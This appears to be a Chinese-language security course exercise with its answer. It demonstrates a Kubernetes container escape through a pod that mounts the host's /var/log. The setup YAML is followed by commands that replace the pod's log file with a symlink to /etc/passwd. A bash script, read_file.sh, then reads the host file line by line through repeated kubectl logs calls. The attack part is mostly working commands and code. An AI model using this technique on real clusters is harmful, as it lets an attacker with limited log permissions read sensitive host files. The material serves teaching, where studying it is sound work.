題目 : 將攻擊手法從理論轉換為實務可用是一個相當重要的階段,畢竟理論再好,實務上打不出來就等於沒有對吧。 請依照這個漏洞原理,透過程式語言(ex:python、shell等等) 做出一個可以利用這個漏洞讀取檔案內容的小程式,這個程式將會在這次期中考中利用到,所以請各位務必認真練習。
題目環境建置 : (請自行考慮是否需要 minikube delete && minikube start)
kind: Role
apiVersion: rbac.authorization.k8s.io/v1
metadata:
namespace: default
name: list-and-logs
rules:
- apiGroups: [""]
resources: ["pods", "pods/log"]
verbs: ["get", "list"]
---
apiVersion: rbac.authorization.k8s.io/v1
kind: RoleBinding
metadata:
name: practice-default-rolebinding
roleRef:
apiGroup: rbac.authorization.k8s.io
kind: Role
name: list-and-logs
subjects:
- kind: ServiceAccount
name: default
namespace: default
---
apiVersion: v1
kind: Pod
metadata:
name: target-pod
spec:
containers:
- name: target-pod
image: aeifkz/my-ubuntu:v1.0
volumeMounts:
- name: logs
mountPath: /var/log/host
ports:
- containerPort: 80
volumes:
- name: logs
hostPath:
path: /var/log/
type: Directory
kubectl exec -it target-pod -- bash ;
rm /var/log/host/pods/default_target-pod_8b514c52-9fef-44c8-98d3-9b9f6bc92b96/target-pod/0.log ;
ln -s /etc/passwd /var/log/host/pods/default_target-pod_8b514c52-9fef-44c8-98d3-9b9f6bc92b96/target-pod/0.log ;
curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" ;
install -o root -g root -m 0755 kubectl /usr/local/bin/kubectl ;
kubectl logs target-pod --tail=-2 ;
kubectl logs target-pod --tail=-1 ;
kubectl logs target-pod --tail=1 ;
kubectl logs target-pod --tail=49 ;
kubectl logs target-pod --tail=50 ;
也因此程式邏輯設計如下 :
解答 : read_file.sh
call_kubectl_logs() {
echo `kubectl logs $name --tail=$1 | awk -F '"' '{print $2}' | awk -F '\' '{print $1}'`
}
rm -f output.txt
name=$1
index=$2
echo "pod name is $name and index is $index..."
head_str=$(call_kubectl_logs $index)
echo $head_str
index=$(($index-1))
next_str=$(call_kubectl_logs $index)
while [ "$head_str" == "$next_str" ] ;
do
echo "$index equals"
index=$(($index-1))
next_str=$(call_kubectl_logs $index)
done
echo $head_str >> output.txt
while [ $index -gt 0 ] ;
do
next_str=$(call_kubectl_logs $index)
echo $next_str
echo $next_str >> output.txt
index=$(($index-1))
done
用法 :
bash read_file.sh target-pod 50 ;
bash read_file.sh target-pod 29 ;
cat output.txt ;